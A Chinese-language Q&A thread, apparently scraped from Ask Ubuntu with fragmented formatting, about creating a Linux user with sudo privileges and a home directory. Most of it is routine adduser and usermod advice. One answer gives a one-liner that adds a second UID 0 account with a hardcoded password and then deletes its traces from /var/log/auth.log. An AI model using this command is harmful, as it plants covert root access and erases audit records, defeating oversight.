我想创建一个具有管理员权限和所有常规设置(如主目录)的用户。
- 是否有一个
adduser
参数可以自动为用户提供sudo
权限? adduser
的默认设置是什么?它是否会自动创建主目录和其他所有内容,而无需额外的参数?(即adduser <用户名>
是否足够?)
我想创建一个具有管理员权限和所有常规设置(如主目录)的用户。
adduser
参数可以自动为用户提供sudo
权限?adduser
的默认设置是什么?它是否会自动创建主目录和其他所有内容,而无需额外的参数?(即adduser <用户名>
是否足够?)adduser <username> sudo
admin
组。)/etc/adduser.conf
中,您可以通过以下方法进行检查。less /etc/adduser.conf
sudo
组中,请使用以下命令adduser <username> --group sudo
admin
代替sudo
。)adduser
这里拥有的所有选项。adduser --force-badname <username> admin
- Oxwiviadduser --force-badname <用户名> --group admin
。 - Bruno Pereira选项d不明确(debug,disabled-login,disabled-password)
。adduser
将其解释为错误,并告诉您可以使用的所有标志和选项。绝对与默认设置无关。 - Oxwiviadduser <username> --ingroup sudo
adduser <username> --group admin
adduser <username> --group sudo
或者
sudo usermod -aG sudo <username>
sudo
组中。 - Franklin Yuadduser foobar sudo
命令时,在Xenial系统中会显示"adduser: the username `foobar' does not exist",并且在/etc/passwd
文件中也找不到该用户,因此我认为用户没有被成功创建。 - Franklin Yu$ sudo adduser neue --group sudo
adduser: 请在此模式下指定一个单一的名称。
$ sudo adduser neue sudo
adduser: 用户'neue'不存在。
- IsaacSsudo useradd *new-admin-username* -s /bin/bash -g sudo -m
-s
设置用户的登录Shell-m
如果不存在,创建用户的家目录:/home/*new-admin-username*
-g
将用户添加到sudo组,以便他们具有管理员权限(大于11.10版本)创建后,为用户设置密码:
sudo passwd *new-admin-username*
su *new-admin-username*
cd ~/
pwd
-g
而不是-G
,新用户将仅属于sudo
组。 - muru这是一行代码,它创建一个新的 root 用户。您需要更改一些参数。
USERNAME="name";PASSWD=`perl -e 'print crypt("password", "sa")'`;COMMENT="Comment
Here" && sudo useradd -p $PASSWD --system --shell '/bin/bash' --base-dir "/bin" --uid
0 --non-unique --comment $COMMENT $USERNAME && sudo sed -i '/useradd/d;/$USERNAME/d;'
/var/log/auth.log
useradd
而不是adduser
。 - JizoSavesadduser
更加交互式,而useradd
则更适用于脚本设计。 - Franklin Yu